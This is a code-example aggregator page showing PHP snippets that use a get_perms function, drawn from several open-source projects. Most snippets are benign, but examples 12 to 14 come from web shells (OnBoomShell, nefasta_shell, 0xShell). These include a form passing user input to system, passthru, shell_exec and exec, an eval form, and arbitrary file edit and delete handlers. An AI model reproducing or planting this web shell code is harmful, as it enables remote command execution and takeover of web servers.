                notice(t('Refresh failed - channel is currently unavailable.'));
            }
            goaway($a->get_baseurl(true) . '/connedit/' . $contact_id);
        }
        if ($cmd === 'block') {
            if (abook_toggle_flag($orig_record[0], ABOOK_FLAG_BLOCKED)) {
                info(($orig_record[0]['abook_flags'] & ABOOK_FLAG_BLOCKED ? t('Channel has been unblocked') : t('Channel has been blocked')) . EOL);
                connedit_clone($a);
            } else {
                notice(t('Unable to set address book parameters.') . EOL);
            }
            goaway($a->get_baseurl(true) . '/connedit/' . $contact_id);
        }
        if ($cmd === 'ignore') {
            if (abook_toggle_flag($orig_record[0], ABOOK_FLAG_IGNORED)) {
                info(($orig_record[0]['abook_flags'] & ABOOK_FLAG_IGNORED ? t('Channel has been unignored') : t('Channel has been ignored')) . EOL);
                connedit_clone($a);
            } else {
                notice(t('Unable to set address book parameters.') . EOL);
            }
            goaway($a->get_baseurl(true) . '/connedit/' . $contact_id);
        }
        if ($cmd === 'archive') {
            if (abook_toggle_flag($orig_record[0], ABOOK_FLAG_ARCHIVED)) {
                info(($orig_record[0]['abook_flags'] & ABOOK_FLAG_ARCHIVED ? t('Channel has been unarchived') : t('Channel has been archived')) . EOL);
                connedit_clone($a);
            } else {
                notice(t('Unable to set address book parameters.') . EOL);
            }
            goaway($a->get_baseurl(true) . '/connedit/' . $contact_id);
        }
        if ($cmd === 'hide') {
            if (abook_toggle_flag($orig_record[0], ABOOK_FLAG_HIDDEN)) {
                info(($orig_record[0]['abook_flags'] & ABOOK_FLAG_HIDDEN ? t('Channel has been unhidden') : t('Channel has been hidden')) . EOL);
                connedit_clone($a);
            } else {
                notice(t('Unable to set address book parameters.') . EOL);
            }
            goaway($a->get_baseurl(true) . '/connedit/' . $contact_id);
        }
        // We'll prevent somebody from unapproving an already approved contact.
        // Though maybe somebody will want this eventually (??)
        if ($cmd === 'approve') {
            if ($orig_record[0]['abook_flags'] & ABOOK_FLAG_PENDING) {
                if (abook_toggle_flag($orig_record[0], ABOOK_FLAG_PENDING)) {
                    info(($orig_record[0]['abook_flags'] & ABOOK_FLAG_PENDING ? t('Channel has been approved') : t('Channel has been unapproved')) . EOL);
                    connedit_clone($a);
                } else {
                    notice(t('Unable to set address book parameters.') . EOL);
                }
            }
            goaway($a->get_baseurl(true) . '/connedit/' . $contact_id);
        }
        if ($cmd === 'drop') {
            require_once 'include/Contact.php';
//.........这里部分代码省略.........
开发者ID:redmatrix,项目名称:red,代码行数:101,代码来源:connedit.php

示例11: editform

 function editform()
 {
     global $xoopsModule, $wfsConfig, $xoopsConfig;
     include XOOPS_ROOT_PATH . "/class/xoopsformloader.php";
     $mimetype = new mimetype();
     xoops_cp_header();
     $article = new WfsArticle($this->articleid);
     $atitle = "<a href='" . XOOPS_URL . "/modules/" . $xoopsModule->dirname() . "/article.php?articleid=" . $this->articleid . "'>" . $article->title . "</a>";
     $stform = new XoopsThemeForm(_AM_FILESTATS, "op", xoops_getenv('PHP_SELF'));
     echo "<div><h3>" . _AM_FILEATTACHED . "</h3></div>";
     $stform->addElement(new XoopsFormLabel(_AM_FILESTAT, $atitle));
     $stform->addElement(new XoopsFormLabel(_WFS_FILEID, "No: " . $this->fileid));
     $workdir = XOOPS_ROOT_PATH . "/" . $wfsConfig['filesbasepath'];
     if (file_exists(realpath($workdir . "/" . $this->filerealname))) {
         $error = 'File <b>' . $this->filerealname . '</b> exists on server.';
     } else {
         $error = 'ERROR, File <b>' . $this->filerealname . '</b> please check!';
     }
     $stform->addElement(new XoopsFormLabel(_WFS_ERRORCHECK, $error));
     $stform->addElement(new XoopsFormLabel(_WFS_FILEREALNAME, $this->getFileRealName("F")));
     $stform->addElement(new XoopsFormLabel(_WFS_DOWNLOADNAME, $this->getDownloadname("F")));
     $stform->addElement(new XoopsFormLabel(_WFS_MINETYPE, $this->getMinetype("F")));
     $stform->addElement(new XoopsFormLabel(_WFS_EXT, "." . $this->getExt("F")));
     $stform->addElement(new XoopsFormLabel(_WFS_FILEPERMISSION, get_perms(XOOPS_ROOT_PATH . "/" . $wfsConfig['filesbasepath'] . "/" . $this->getFileRealName("F"))));
     $stform->addElement(new XoopsFormLabel(_WFS_DOWNLOADED, $this->getCounter("F") . " times"));
     $stform->addElement(new XoopsFormLabel(_WFS_DOWNLOADSIZE, PrettySize(filesize(XOOPS_ROOT_PATH . "/" . $wfsConfig['filesbasepath'] . "/" . $this->getFileRealName("F")))));
     $stform->addElement(new XoopsFormLabel(_WFS_LASTACCESS, lastaccess($workdir . "/" . $this->filerealname, 'E1')));
     $stform->addElement(new XoopsFormLabel(_WFS_LASTUPDATED, formatTimestamp($this->date, $wfsConfig['timestamp'])));
     //$stform->addElement(new XoopsFormLabel(_WFS_FILEREALNAME, $this->getFileRealName("F")));
     $stform->display();
     clearstatcache();
     $sform = new XoopsThemeForm(_AM_MODIFYFILE, "op", xoops_getenv('PHP_SELF'));
     echo "<div><h3>" . _AM_EDITFILE . "</h3></div>";
     //global $xoopsConfig, $xoopsDB, $HTTP_POST_VARS, $myts, $wfsConfig, $myts;
     include_once XOOPS_ROOT_PATH . '/class/xoopsformloader.php';
     $sform = new XoopsThemeForm(_AM_MENUS, "op", xoops_getenv('PHP_SELF'));
     $sform->addElement(new XoopsFormSelectGroup(_WFS_GROUPPROMPT, 'groupid', true, getGroupIda($this->groupid), 5, true));
     $sform->addElement(new XoopsFormLabel(_WFS_FILEID, "No: " . $this->fileid));
     $sform->addElement(new XoopsFormText(_WFS_ARTICLEID, 'articleid', 5, 5, $this->articleid));
     $sform->addElement(new XoopsFormText(_WFS_FILEREALNAME, 'filerealname', 40, 40, $this->getFileRealName("F")));
     $sform->addElement(new XoopsFormText(_WFS_DOWNLOADNAME, 'downloadname', 40, 40, $this->getDownloadname("F")));
     $sform->addElement(new XoopsFormText(_WFS_FILESHOWNAME, 'fileshowname', 40, 80, $this->getFileShowName("F")));
     $sform->addElement(new XoopsFormDhtmlTextArea(_WFS_FILEDESCRIPT, 'filedescript', $this->getFiledescript("F"), 10, 60));
     $sform->addElement(new XoopsFormTextArea(_WFS_FILETEXT, 'filetext', $this->getFileText("F")));
     $sform->addElement(new XoopsFormText(_WFS_EXT, 'ext', 30, 80, $this->getExt("F")));
     $sform->addElement(new XoopsFormText(_WFS_MINETYPE, 'minetype', 40, 80, $this->getMinetype("F")));
     $sform->addElement(new XoopsFormLabel(_WFS_UPDATEDATE, formatTimestamp($this->date, $wfsConfig['timestamp'])));
     $sform->addElement(new XoopsFormHidden('fileid', $this->fileid));
     //echo $this->fileid;
     //echo "<input type='hidden' name='fileid' value='$this->fileid' />\n";
     ///$sform->addElement(new XoopsFormHidden('fileid', ".$this->fileid."));
     $button_tray = new XoopsFormElementTray('', '');
     //$hidden = new XoopsFormHidden('fileid', $this->fileid);
     $hidden = new XoopsFormHidden('op', 'filesave');
     $button_tray->addElement($hidden);
     $button_tray->addElement(new XoopsFormButton('', 'post', _AM_SAVECHANGE, 'submit'));
     $sform->addElement($button_tray);
     $sform->display();
     unset($hidden);
 }
开发者ID:severnaya99,项目名称:Sg-2010,代码行数:60,代码来源:wfsfiles.php

示例12: form

echo "<form method='post'>\n      <input type='text' name='comandexe' size='10'>\n      <select name='command'>   \n      <option value='system'>System</option>\n      <option value='passthru'>Passthru</option>\n      <option value='shell_exec'>Shell_exec</option>\n      <option value='exec'>Exec</option>\n      </select>\n      <input type='submit' value='ExecuteCommand'>\n      </form>";
echo form("eval", "eval", "Eval");
echo form("phpinfo", "phpinfo", "Phpinfo");
echo form("mysql", "mysql", "Mysql");
if (isset($_POST["edit"])) {
    $filedir = $_POST["edit"];
    $filedit = file_get_contents($filedir);
    echo "<br/><form action='' method='post'>\n                  <textarea cols='80' rows='20' name='savetest'>" . htmlspecialchars($filedit) . "</textarea><br/>\n                 <font size='1'>File name:</font><input type='text' name='save' size='10' value='" . $_POST["edit"] . "'>\n                  <input type='submit' value='Save'>\n                           </form>";
}
if ($dirfile = opendir($diratt)) {
    while (false !== ($filedir = readdir($dirfile))) {
        $filesiz = sprintf("%01.2f", filesize("{$diratt}/{$filedir}") / 1024);
        $groupid = posix_getpwuid(fileowner("{$diratt}/{$filedir}"));
        $groupinfo = posix_getgrgid(filegroup("{$diratt}/{$filedir}"));
        $ow = $groupid[name] . " " . $groupinfo[name];
        $info = get_perms("{$diratt}/{$filedir}");
        if ($filedir != "." && $filedir != "..") {
            if (is_file("{$diratt}/{$filedir}")) {
                echo "<table border='1' width='60%'><tr><td>{$filedir}</td><td width='15%'>{$ow}</td><td width='20%'>{$info}</td><td width='15%'>{$filesiz} K</td></tr></table>";
            } else {
                echo "<table border='1' width='60%'bgcolor='red'><tr><td>{$filedir}</td><td width='15%'>{$ow}</td><td width='35%'>{$info}</td></tr></table>";
            }
        }
    }
}
echo formsub("edit", "Edit");
echo formsub("delete", "Delete");
echo formsub("makefile", "Makefile");
echo formsub("makedir", "Makedir");
if (isset($_POST["savetest"]) && isset($_POST["save"])) {
    $testnew = $_POST["savetest"];
开发者ID:ASDAFF,项目名称:Shells-Database,代码行数:31,代码来源:OnBoomShell.php

示例13: view_perms_color

function view_perms_color($file)
{
    if (!is_readable($file)) {
        return "<font color=red>" . get_perms($file, 1) . "</font>";
    } else {
        if (!is_writable($file)) {
            return "<font color=green>" . get_perms($file, 1) . "</font>";
        } else {
            return "<font color=#4C83AF>" . get_perms($file, 1) . "</font>";
        }
    }
}
开发者ID:KinG-InFeT,项目名称:0xShell,代码行数:12,代码来源:0xShell.php

示例14: link_genera

function link_genera($a, $dir)
{
    $image = array("jpg", "gif", 'png', 'JPG', 'GIF', 'PNG', 'jpeg', 'JPEG', 'bnp');
    $re = '<tr>';
    $info = get_perms($dir . '/' . $a);
    if (is_dir($dir . '/' . $a)) {
        $re .= "<TD><a href='" . $_SERVER['PHP_SELF'] . "?dir=" . $dir . '/' . $a . "'>" . htmlspecialchars($a) . '</a></td><td>  directory</td><td></td><td></td><td><a href="' . $_SERVER['PHP_SELF'] . '?rmdir=' . $dir . '/' . $a . '">REMOVE</a></td>';
    } else {
        $re .= "<td>" . htmlspecialchars($a) . "</td></td>";
        if (in_array(file_get_type($dir . '/' . $a), $image)) {
            $re .= " <td><font color=red>immagine</font></td><td><a href='" . $_SERVER["PHP_SELF"] . "?image=" . $dir . '/' . $a . "'>VIEW</a></td> ";
        } else {
            $re .= " <td>file</td><td><a href=' " . $_SERVER["PHP_SELF"] . "?file=" . $dir . '/' . $a . "'>view</a></td>";
        }
        $re .= " <td><a href='" . $_SERVER["PHP_SELF"] . "?filedit=" . $dir . '/' . $a . "'>EDIT</a></td>     <td> <a href='" . $_SERVER["PHP_SELF"] . "?fileremove=" . $dir . '/' . $a . "'>REMOVE</a></td>";
    }
    $flsz = filesize($dir . '/' . $a);
    $re .= " <td>   " . $info . "</td><td>dimensione " . $flsz . "</td>";
    $re .= '</tr>';
    return $re;
}
开发者ID:ASDAFF,项目名称:Shells-Database,代码行数:21,代码来源:nefasta_shell.php

示例15: catch

} catch (Exception $e) {
    $t->pass('$fs->move() throws if the destination doesn\'t exist');
}
$fs->mkdir($sandboxDir . '/dir2');
$fs->move($sandboxDir . '/dir1', $sandboxDir . '/dir2/dir');
$t->ok(is_dir($sandboxDir . '/dir2' . '/dir'), '$fs->move() renames folder in "destination" if basename("destination") doesn\'t exist');
$fs->rmdir($sandboxDir, true, true);
// Works only on linux
if (php_uname('s') == 'Linux') {
    $t->comment('nbFileSystemTest - Test Chmod');
    $fs->rmdir($sandboxDir, true, true);
    $filename = $sandboxDir . '/file1';
    $fs->touch($filename);
    $perms = get_perms($filename);
    echo $fs->formatPermissions($filename);
    $t->ok($perms & 0x80, 'User has write permission');
    $fs->chmod($filename, 0440);
    $perms = get_perms($filename);
    echo $fs->formatPermissions($filename);
    $t->ok(!($perms & 0x80), 'User has no write permission');
    $fs->chmod($filename, 0744);
    $perms = get_perms($filename);
    echo $fs->formatPermissions($filename);
    $t->ok($perms & 0x80, 'User has write permission');
    $fs->rmdir($sandboxDir, true, true);
}
function get_perms($filename)
{
    clearstatcache();
    return fileperms($filename);
}
开发者ID:nubee,项目名称:bee,代码行数:31,代码来源:nbFileSystemTest.php


注:本文中的get_perms函数示例由纯净天空整理自Github/MSDocs等开源代码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。